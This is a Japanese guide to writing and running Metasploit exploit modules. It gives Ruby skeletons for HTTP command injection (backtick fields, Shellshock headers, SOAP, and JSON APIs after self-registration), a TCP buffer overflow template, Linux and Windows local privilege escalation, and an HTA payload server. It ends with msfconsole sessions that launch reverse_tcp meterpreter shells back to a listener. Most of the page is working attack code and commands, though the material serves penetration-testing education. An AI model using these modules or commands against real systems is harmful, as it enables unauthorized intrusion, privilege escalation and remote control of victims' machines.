コンテンツにスキップ

Exploit

exploit は ペイロードを実行して新しいセッションを開く モジュールです。参照は packages/metasploit-framework/modules/exploits/ です。ペイロードモジュール自体は自作せず、既存の windows/x64/meterpreter/reverse_tcp などを使います。

共通手順は 共通手順 です。ここでは exploit 特有の型、操作例、書き方の参考モジュールをまとめます。

状況基底
ネットワークサービス / Web へ届けるMsf::Exploit::Remote
既存セッション上で特権昇格し、別セッションを返すMsf::Exploit::Local

書き方の参考になるモジュール

Section titled “書き方の参考になるモジュール”

学習・模倣の起点として、次を推奨します(名前は use に渡すパス)。

参考モジュール学べること
exploits/exampleTCP connect → buffer → handler の最小形
exploits/example_webappHttpClient、ログイン、keep_cookies、multipart、check
exploits/example_linux_priv_escLocal exploit の骨格
exploit/linux/http/supervisor_xmlrpc_execHTTP + CmdStager + Basic 認証 + check
exploit/unix/webapp/byob_unauth_rce自己登録とログインを分け、認証後に RCE を実行する流れ
exploit/linux/http/suitecrm_log_file_rceauthenticate unless @authenticated で認証を一度だけ行う流れ
exploit/linux/http/apache_continuum_cmd_execHTTP command injection 系
exploit/multi/http/apache_mod_cgi_bash_env_exec有名な CGI/env 注入パターン
exploit/multi/ssh/sshexecSSH 経由の execute_command
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecLocal PE + AutoCheck + FileDropper + Post mixins
exploit/windows/misc/hta_serverHttpServer でクライアントに配る
exploit/multi/handler外部で起動したペイロードの待ち受け(自作不要)

同じ「HTTP RCE」でも、注入点・認証・CmdStager の有無で形が変わります。ここでは型ごとに複数パターンを並べます。

1a. XML / Basic 認証 + CmdStager(supervisor_xmlrpc_exec 系)

Section titled “1a. XML / Basic 認証 + CmdStager(supervisor_xmlrpc_exec 系)”
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def check
params = { 'method' => 'GET', 'uri' => normalize_uri('/') }
unless datastore['HttpUsername'].to_s.empty?
params['authorization'] = basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
end
res = send_request_cgi(params)
return CheckCode::Unknown('no response') if res.nil?
CheckCode::Appears
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'ctype' => 'text/xml',
'data' => build_xml(cmd)
)
end
def exploit
execute_cmdstager(linemax: 1500)
end
end

1b. フォーム POST の 1 フィールドにバッククォート注入(apache_continuum_cmd_exec 系)

Section titled “1b. フォーム POST の 1 フィールドにバッククォート注入(apache_continuum_cmd_exec 系)”

CmdStager は使うが、配送口は単純な vars_post です。

def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => '/continuum/saveInstallation.action',
'vars_post' => {
'installation.name' => Rex::Text.rand_text_alpha(8),
'installation.type' => 'jdk',
'installation.varValue' => '`' + cmd + '`'
}
)
end
def exploit
execute_cmdstager
end
Section titled “1c. GET + SOAP / 独自ヘッダ(dlink_upnp_exec_noauth 系)”

vars_get と raw XML data、追加 headers を併用します。flavor を明示します。

def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => '/soap.cgi',
'vars_get' => { 'service' => 'WANIPConn1' },
'ctype' => 'text/xml',
'headers' => { 'SOAPAction' => 'urn:...#AddPortMapping' },
'data' => soap_envelope_with("`#{cmd}`")
)
end
def exploit
execute_cmdstager(flavor: :echo, linemax: 400)
end

1d. Header 注入(Shellshock 系 / apache_mod_cgi_bash_env_exec)

Section titled “1d. Header 注入(Shellshock 系 / apache_mod_cgi_bash_env_exec)”

コマンドを本文ではなくヘッダ値に載せます。

def execute_command(cmd, _opts = {})
send_request_cgi(
{
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path),
'headers' => {
datastore['HEADER'] => "() { :;}; #{cmd}"
}
},
datastore['TIMEOUT']
)
end
def exploit
execute_cmdstager(linemax: datastore['CMD_MAX_LENGTH'], nodelete: true)
end
Section titled “1e. ログイン後に Cookie 付きで RCE(example_webapp 系)”

先に認証し、keep_cookies で後続リクエストへ引き継ぎます。短い cmd ペイロードなら CmdStager なしでも可です。

def exploit
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::NoAccess, 'login failed') unless res && res.code == 301
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'command.html'),
'vars_post' => { 'cmd_str' => payload.encoded }
)
end

1f. 自己登録 → ログイン → JSON API RCE

Section titled “1f. 自己登録 → ログイン → JSON API RCE”

公開登録がある Web アプリで、フォーム認証後に JSON API へコマンドを送る例です。AutoCheck は check を実行し、CmdStager は execute_command を複数回呼びます。登録とログインは execute_command の外に置き、同じ実行中に繰り返さないようにします。

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def authenticate
return true if @authenticated
user = datastore['USERNAME']
pass = datastore['PASSWORD']
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'register'),
'vars_post' => { 'username' => user, 'password' => pass }
)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true,
'vars_post' => { 'username' => user, 'password' => pass }
)
return false if res.nil? || !(res.code == 200 || res.redirect?)
@authenticated = true
true
end
def check
return CheckCode::Unknown('login failed') unless authenticate
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => '1' }.to_json
)
return CheckCode::Unknown('no response') if res.nil?
json = res.get_json_document
return CheckCode::Appears if res.code == 200 && json.is_a?(Hash) && json.key?('result')
CheckCode::Safe
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => cmd }.to_json
)
end
def exploit
fail_with(Failure::NoAccess, 'login failed') unless authenticate
if target['Type'] == :unix_cmd
execute_command(payload.encoded)
else
execute_cmdstager
end
end
  • 登録応答にセッション Cookie が含まれない場合、keep_cookies はログイン時だけで足ります。後続の JSON POST に cookie キーを指定する必要はありません。
  • execute_command はコマンドの送信だけを担当します。ここで認証すると、CmdStager が呼ぶたびに同じ処理が繰り返されます。
  • 成功判定は対象 API の応答に合わせます。HTTP 200 と JSON を返すエンドポイントでは、ステータスコードと get_json_document のキーを確認します。
  • USERNAME / PASSWORD は register_options の OptString で既定値を設定し、datastore から読みます。

リクエスト opts の詳細は send_request_cgi です。

1g. cmd target と dropper target を分ける

Section titled “1g. cmd target と dropper target を分ける”
'Targets' => [
['Unix Command', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] }],
['Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'CmdStagerFlavor' => ['bourne', 'curl'] }]
]
def exploit
if target['Arch'] == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 1500, background: true)
end
end

2a. 定番バッファ + ハンドラ(exploits/example)

Section titled “2a. 定番バッファ + ハンドラ(exploits/example)”
class MetasploitModule < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def exploit
connect
buf = rand_text_alpha(1024)
buf << [target.ret].pack('V')
buf << payload.encoded
sock.put(buf)
handler
ensure
disconnect
end
end

2b. check でバナー確認してから送る

Section titled “2b. check でバナー確認してから送る”
def check
connect
banner = sock.get_once(1024, 3).to_s
disconnect
return CheckCode::Appears if banner.include?('VulnerableService')
CheckCode::Safe
rescue Rex::ConnectionError
CheckCode::Unknown
end
def exploit
fail_with(Failure::NotVulnerable, 'check failed') unless check == CheckCode::Appears
connect
sock.put(build_buffer)
handler
ensure
disconnect
end

2c. 複数回のやり取り(プロトコル対話)

Section titled “2c. 複数回のやり取り(プロトコル対話)”
def exploit
connect
sock.put("HELLO\r\n")
sock.get_once
sock.put(auth_packet)
sock.get_once
sock.put(payload_packet)
handler
ensure
disconnect
end

3a. AutoCheck + ファイル配置(pwnkit / example_linux_priv_esc 系)

Section titled “3a. AutoCheck + ファイル配置(pwnkit / example_linux_priv_esc 系)”
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def check
return CheckCode::Safe unless readable?('/usr/bin/pkexec')
CheckCode::Appears
end
def exploit
path = '/tmp/' + Rex::Text.rand_text_alpha(8)
write_file(path, generate_payload_exe)
chmod(path, 0o755)
register_file_for_cleanup(path)
cmd_exec("#{path} &")
end
end

3b. 既存バイナリだけを突く(追加ファイルを置かない)

Section titled “3b. 既存バイナリだけを突く(追加ファイルを置かない)”
def exploit
# SUID や sudo ルールを利用し、payload は env / 引数経由
cmd_exec("env x='() { :;}; #{payload.encoded}' /usr/bin/vulnerable")
end

3c. Windows local(セッション上で EXE 生成)

Section titled “3c. Windows local(セッション上で EXE 生成)”
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def exploit
fail_with(Failure::None, 'already SYSTEM') if is_system?
exe = generate_payload_exe
path = expand_path('%TEMP%\\') + Rex::Text.rand_text_alpha(8) + '.exe'
write_file(path, exe)
register_file_for_cleanup(path)
cmd_exec("cmd.exe /c #{path}")
end
end
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer
def on_request_uri(cli, _request)
p = regenerate_payload(cli)
send_response(cli, build_hta(p), 'Content-Type' => 'application/hta')
end
end
def primer
hardcoded_uripath('/payload.bin')
end
def on_request_uri(cli, request)
if request.uri.end_with?('/payload.bin')
send_response(cli, regenerate_payload(cli).encoded, 'Content-Type' => 'application/octet-stream')
else
send_response(cli, %|<a href="#{get_uri}/payload.bin">dl</a>|, 'Content-Type' => 'text/html')
end
end
def on_request_uri(cli, request)
if request.uri.include?('landing')
send_redirect(cli, "#{get_uri}/run.hta")
else
send_response(cli, build_hta(regenerate_payload(cli)), 'Content-Type' => 'application/hta')
end
end

5a. ログイン後に exec! で CmdStager

Section titled “5a. ログイン後に exec! で CmdStager”
def execute_command(cmd, _opts = {})
Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
rescue Timeout::Error
print_warning('command timed out')
end
def exploit
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
execute_cmdstager(linemax: 500)
end

5b. Interactive SSH(socket をハンドラに渡す)

Section titled “5b. Interactive SSH(socket をハンドラに渡す)”
def exploit
do_login(...)
if target.name == 'Interactive SSH'
handler(ssh_socket)
return
end
execute_command(payload.encoded)
end

5c. Python 一行でペイロードを流す

Section titled “5c. Python 一行でペイロードを流す”
def execute_python
execute_command("echo \"#{payload.encoded}\" | python3")
end
def exploit
do_login(...)
case target['Platform']
when 'python' then execute_python
else execute_cmdstager(linemax: 500)
end
end

6. 汎用ハンドラ(自作しないが型として覚える)

Section titled “6. 汎用ハンドラ(自作しないが型として覚える)”

exploit/multi/handler は脆弱性を突かず、外部で起動したペイロードを受けます。骨格は「Targets / Payload を広く取り、exploit でハンドラ待ち」です。

use exploit/linux/http/supervisor_xmlrpc_exec
set RHOSTS 10.10.11.123
set LHOST 10.10.16.10
set HttpUsername user
set HttpPassword 123
check
exploit
sessions -l

汎用ハンドラ(外部で起動した reverse を受ける)

Section titled “汎用ハンドラ(外部で起動した reverse を受ける)”
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10
set LPORT 4444
set ExitOnSession false
run -j
use exploit/multi/ssh/sshexec
show targets
set TARGET <ssh_interact の id>
set RHOSTS 10.10.11.123
set USERNAME svc
set PASSWORD '...'
set payload generic/ssh/interact
run
sessions -l

Local PE(既存セッションが必要)

Section titled “Local PE(既存セッションが必要)”
sessions -l
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set SESSION 1
set LHOST 10.10.16.10
check
run
sessions -l
use exploit/windows/misc/hta_server
set SRVHOST 10.10.16.10
set SRVPORT 8080
set URIPATH /payload
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10
run
# 表示 URL を対象ブラウザで開かせる
# ~/.msf4/modules/exploits/linux/http/myapp_rce.rb を置いたあと
reload_lib -a
use exploit/linux/http/myapp_rce
show options
set RHOSTS 10.10.11.123
set TARGETURI /app/
set LHOST 10.10.16.10
check
run

ペイロードの扱い(自作しない前提)

Section titled “ペイロードの扱い(自作しない前提)”
やること方法
使えるペイロードを絞るupdate_info の Platform / Arch / Payload BadChars
利用者が選ぶset payload ... / show payloads
コードから送るpayload.encoded
長い binary を分割CmdStager + execute_command
show payloads
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10